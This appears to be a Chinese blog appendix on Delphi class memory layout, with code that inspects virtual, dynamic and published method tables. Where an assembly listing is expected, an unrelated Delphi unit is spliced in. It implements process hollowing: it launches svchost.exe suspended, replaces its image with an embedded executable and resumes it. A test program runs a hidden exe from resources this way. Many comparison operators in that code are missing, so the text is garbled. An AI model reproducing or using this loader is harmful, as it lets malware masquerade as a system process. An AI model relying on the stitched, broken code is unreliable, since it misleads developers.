Delphi 类与对象内存结构浅析(附件1)

附件资料
*内存信息(代码)

示例:获取类信息

说明:比对通过类地址以及通过类方法获取信息的效果

代码:

type

    TMyObject = class(TObject)

    private

        FData: Integer;

    protected

        procedure Test1;virtual;

        procedure Test2;dynamic;

    public

        procedure Test;

    published

        procedure Test3;

    end;

 

procedure TMyObject.Test;

var

    i:Integer;

begin

    ShowMessage('静态方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('虚方法');

end;

 

procedure TMyObject.Test2;

begin

    ShowMessage('动态方法');

end;

 

procedure TMyObject.Test3;

begin

    ShowMessage('published方法');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

    //---

    {procedure _ShowClassInfo(ALines: TStrings; AClass: TClass);

    begin

        with ALines do

        begin

            Add(Format('类指针地址: %d ', [Integer(AClass)]));

            //---

            if AClass.ClassParent = nil then

                Add('父类名: Nil')

            else

                Add(Format('父类名: %s', [AClass.ClassParent.ClassName]));

            //---

            Add(Format('对象大小: %d', [AClass.InstanceSize]));

            Add(Format('类名: %s', [AClass.ClassName]));

        end;

    end;}

    //---

    procedure _ShowClassInfo(ALines: TStrings; AClass: TClass);

    var

        AClassAddress: Integer;

        AParentClass: TClass;

        AParentClassAddress: PPointer;

    begin

        AClassAddress := Integer(AClass);

        with ALines do

        begin

            Add(Format('类指针地址: %d ', [AClassAddress]));

            //---

            AParentClassAddress := PPointer(PPointer(AClassAddress + vmtParent)^); //--PPointer(AClassAddress + vmtParent)^  = @TParentClass

            if AParentClassAddress = nil then

                Add(Format('偏移量: %d  父类指针地址: %d  父类名: Nil', [vmtParent,PInteger(AClassAddress + vmtParent)^]))

            else

            begin

                Pointer(AParentClass) := AParentClassAddress^;

                Add(Format('偏移量: %d  父类指针地址: %d  父类名: %s', [vmtParent,PInteger(AClassAddress + vmtParent)^,AParentClass.ClassName]));

            end;

            //---

            Add(Format('偏移量: %d  对象大小: %d', [vmtInstanceSize,PInteger(AClassAddress + vmtInstanceSize)^]));

            Add(Format('偏移量: %d  类名: %s', [vmtClassName,PShortString(PPointer(AClassAddress + vmtClassName)^)^]));

            Add(Format('偏移量: %d  动态方法表地址: %d', [vmtDynamicTable,PInteger(AClassAddress + vmtDynamicTable)^]));

            Add(Format('偏移量: %d  Published方法表地址: %d', [vmtMethodTable,PInteger(AClassAddress + vmtMethodTable)^]));

            Add(Format('偏移量: %d  虚方法表地址: %d', [vmtSelfPtr,PInteger(AClassAddress + vmtSelfPtr)^]));

        end;

    end;

begin

    _ShowClassInfo(Memo1.Lines,TObject);

    Memo1.Lines.Add('----------');

    _ShowClassInfo(Memo1.Lines,TMyObject);

end;

 

*的静态方法(代码)

示例:访问类的静态方法

说明:类的静态方法调用与对象的实际类型无关,仅与类相关。

代码:

type

    TMyObject = class(TObject)

    private

        FData: Integer;

    public

        procedure Test;

    end;

 

procedure TMyObject.Test;

var

    i:Integer;

begin

    ShowMessage('123');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TObject;

begin

    AObject := TObject.Create;

    TMyObject(AObject).Test;

    AObject.Free;

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject:TMyObject;

begin

    AObject.Test;

end;

 

procedure TForm1.Button1Click(Sender: TObject);

begin

    TMyObject(nil).Test;

end;

 

procedure TForm1.Button1Click(Sender: TObject);

type

    TFakeEvent = procedure() of object;

var

    AEvent:TFakeEvent;

begin

    AEvent := TMyObject(nil).Test;

    AEvent();

end;

 

procedure TForm1.Button1Click(Sender: TObject);

type

    TFakeEvent = procedure() of object;

    TFakeEvent1 = procedure(const ASelf: Pointer);

var

    AEvent:TFakeEvent;

    AEvent1:Pointer;

begin

    AEvent := TMyObject(nil).Test;

    AEvent1 := TMethod(AEvent).Code;   //获取方法地址

    TFakeEvent1(AEvent1)(nil);

end;

 

汇编:

procedure TForm1.Button1Click(Sender: TObject);

begin

    asm

        MOV EAX, 0;

        CALL TMyObject.Test;

    end;

end;

汇编:

*的虚方法(代码)

示例:访问类的虚方法

说明:vmtSelfPtr(虚方法表的指针)实际上就是指向TObject位置,所以类的虚拟方法是依次排在TObject所指向的位置之后虚拟方法表包括本身以及父类所有的虚拟方法的地址

代码:

type

    TMyObject = class(TObject)

    protected

        procedure Test;virtual;

        procedure Test1;virtual;

    end;

    TMyObject1 = class(TMyObject)

    protected

        procedure Test;override;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 虚方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 虚方法1');

end;

 

procedure TMyObject1.Test;

begin

    inherited;

    ShowMessage('TMyObject1 虚方法');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

type

    TFakeEvent1 = procedure(const ASelf: Pointer);

var

    AClassAddress: Integer;

    AEvent:Pointer;

begin

    AClassAddress := Integer(TMyObject1);

    //---

    AEvent := PPointer(AClassAddress)^; //获取方法地址

    TFakeEvent1(AEvent)(nil);

    //---

    AEvent := PPointer(AClassAddress + 4)^; //获取方法地址

    TFakeEvent1(AEvent)(nil);

end;

 

示例:访问类的虚方法

说明:看一下正常的虚方法是如何调用的。

代码:

type

    TMyObject = class(TObject)

    protected

        procedure Test;virtual;

        procedure Test1;virtual;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 虚方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 虚方法');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TMyObject;

begin

    AObject := TMyObject.Create;

    AObject.Test;

    AObject.Test1;

    AObject.Free;

end;

 

汇编:

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TMyObject;

begin

    …………

AObject.Test;

        mov eax,[ebp - $08]        ; eax存储为Aobject对象指针

        mov edx,[eax]                    ; edx 存储为Aobject对象空间首4字节内容,即TmyObjectVMT

        call dword ptr [edx]        ; [edx] VMTTMyObject.Test方法地址

AObject.Test1;

        mov eax,[ebp - $08]        ; eax存储为Aobject对象指针

        mov edx,[eax]                    ; edx 存储为Aobject对象空间首4字节内容,即TmyObjectVMT

        call dword ptr [edx + $04]    ; [edx + $04]VMTTMyObject.Test1方法地址

    …………

end;

 

 

 

*的动态方法(代码)

示例:访问类动态方法

说明:vmtDynamicTable(动态方法表的指针)指向的是动态方法表动态方法表则只保存自己本身所包含的动态方法表,如果调用者的动态方法不属于自己,则根据索引号往上级父类遍历查询得到方法的地址

代码:

type

    TMyObject = class(TObject)

    protected

        procedure Test; dynamic;

        procedure Test1; dynamic;

    end;

    TMyObject1 = class(TMyObject)

    protected

        procedure Test1;override;   

        procedure Test2; dynamic;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 动态方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 动态方法1');

end;

 

procedure TMyObject1.Test1;

begin

    ShowMessage('TMyObject1 动态方法1');

end;

 

procedure TMyObject1.Test2;

begin

    ShowMessage('TMyObject1 动态方法2');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

type

    TFakeEvent1 = procedure(const ASelf: Pointer);

    //---

    procedure _ShowDMTInfo(ALines: TStrings; AClass: TClass);

    var

        AClassAddress,ADMTAddress: Integer;

        AMethodCount,APos,i: Integer;

        AEvent: Pointer;

    begin

        AClassAddress := Integer(AClass);

        with ALines do

        begin

            Add(Format('类名: %s ', [AClass.ClassName]));

            //---

            ADMTAddress := Integer(PPointer(AClassAddress + vmtDynamicTable)^);

            if ADMTAddress = 0 then

                Exit;

            //---

            APos := 0;

            AMethodCount := PWord(ADMTAddress + APos)^;

            Add(Format('偏移量: %d  动态方法数量: %d', [APos,AMethodCount]));

            Inc(APos,2);

            //---

            for i := 0 to AMethodCount - 1 do

            begin

                Add(Format('偏移量: %d  索引:%d  索引内容:%d', [APos,i,PWord(ADMTAddress + APos)^]));

                Inc(APos,2);

            end;

            //---

            for i := 0 to AMethodCount - 1 do

            begin

                AEvent := PPointer(ADMTAddress + APos)^; //获取方法地址

                TFakeEvent1(AEvent)(nil);

                //---

                Add(Format('偏移量: %d  索引:%d  方法地址:%d', [APos,i,PInteger(ADMTAddress + APos)^]));

                Inc(APos,4);

            end;

        end;

    end;

begin

    _ShowDMTInfo(Memo1.Lines,TMyObject);

    _ShowDMTInfo(Memo1.Lines,TMyObject1);

end;

 

 

示例:访问类动态方法

说明:看一下正常的动态方法如何调用的。

代码:

type

    TMyObject = class(TObject)

    protected

        procedure Test; dynamic;

        procedure Test1; dynamic;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 动态方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 动态方法1');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TMyObject;

begin

    AObject := TMyObject.Create;

    AObject.Test;

    AObject.Test1;

    AObject.Free;

end;

 

汇编:

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TMyObject;

begin

    …………

AObject.Test;

        mov eax,[ebp - $08]        ; eax存储为Aobject对象指针

        mov si,$FFFF                    ; $FFFFTMyObject.Test方法索引号

        call @CallDynaInst       

AObject.Test1;

        mov eax,[ebp - $08]        ; eax存储为Aobject对象指针

        mov si,$FFFE                    ; $FFFETMyObject.Test1方法索引号

        call @CallDynaInst       

    …………

end;

 

 

*的公开方法(代码)

示例:访问类published方法

说明:vmtMethodTablePublished Method表)指向Published Method表有序排列,只存储当前类的Published Method表,得到父类的Published Method表需要往上遍历。

凡是声明在类的 Published 部分的方法都可以通过调用 TObject.MethodName 获得方法的名字。

代码:

type

    TMyObject = class(TObject)

    published

        procedure Test;

        procedure Test1; virtual;

        procedure Test2; dynamic;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 静态方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 动态方法');

end;

 

procedure TMyObject.Test2;

begin

    ShowMessage('TMyObject 虚方法');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

    //---

    procedure _ShowDMTInfo(ALines: TStrings; AClass: TClass);

    var

        AClassAddress,AMTAddress,AMethodAddress,AMethodNameLen: Integer;

        AMethodCount,APos,i: Integer;

        AEvent: Pointer;

        AMethodName:ShortString;

    begin

        AClassAddress := Integer(AClass);

        with ALines do

        begin

            Add(Format('类名: %s ', [AClass.ClassName]));

            //---

            AMTAddress := Integer(PPointer(AClassAddress + vmtMethodTable)^);

            if AMTAddress = 0 then

                Exit;

            //---

            APos := 0;

            AMethodCount := PWord(AMTAddress + APos)^;

            Add(Format('偏移量: %d  动态方法数量: %d', [APos,AMethodCount]));

            Inc(APos,4);

            //---

            for i := 0 to AMethodCount - 1 do

            begin

                AMethodAddress := PInteger(AMTAddress + APos)^;

                Inc(APos,4);

                //---

                AMethodNameLen := PByte(AMTAddress + APos)^;

                Inc(APos,1);

                //---

                AMethodName := PShortString(AMTAddress + APos - 1)^;

                Inc(APos,AMethodNameLen + 2);

                //---

                Add(Format('索引:%d 方法地址:%s 方法名长度: %d  方法名:%s', [i,IntToHex(AMethodAddress,2),AMethodNameLen,AMethodName ]));

            end;

        end;

    end;

    //---

    procedure _ShowDMTInfo1(ALines: TStrings; AClass: TClass);

    begin

        with ALines do

        begin

            Add(Format('类名: %s ', [AClass.ClassName]));

            //---

            Add(Format('方法名:%s 方法地址:%s',['Test',IntToHex(Integer(AClass.MethodAddress('Test')),2)]));

            Add(Format('方法名:%s 方法地址:%s',['Test1',IntToHex(Integer(AClass.MethodAddress('Test1')),2)]));

            Add(Format('方法名:%s 方法地址:%s',['Test2',IntToHex(Integer(AClass.MethodAddress('Test2')),2)]));

        end;

    end;

begin

    _ShowDMTInfo(Memo1.Lines,TMyObject);

    _ShowDMTInfo1(Memo1.Lines,TMyObject);

end;

内存:

 

示例:访问类published方法

说明:看一下正常的published方法如何调用的。

代码:

type

    TMyObject = class(TObject)

    published

        procedure Test;

        procedure Test1;virtual;

        procedure Test2;dynamic;

    end;

 

procedure TMyObject.Test;

begin

    ShowMessage('TMyObject 静态方法');

end;

 

procedure TMyObject.Test1;

begin

    ShowMessage('TMyObject 动态方法');

end;

 

procedure TMyObject.Test2;

begin

    ShowMessage('TMyObject 虚方法');

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

    AObject: TMyObject;

begin

    AObject := TMyObject.Create;

    AObject.Test;

    AObject.Test1;

    AObject.Test2;

    AObject.Free;

end;

 

汇编:

unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值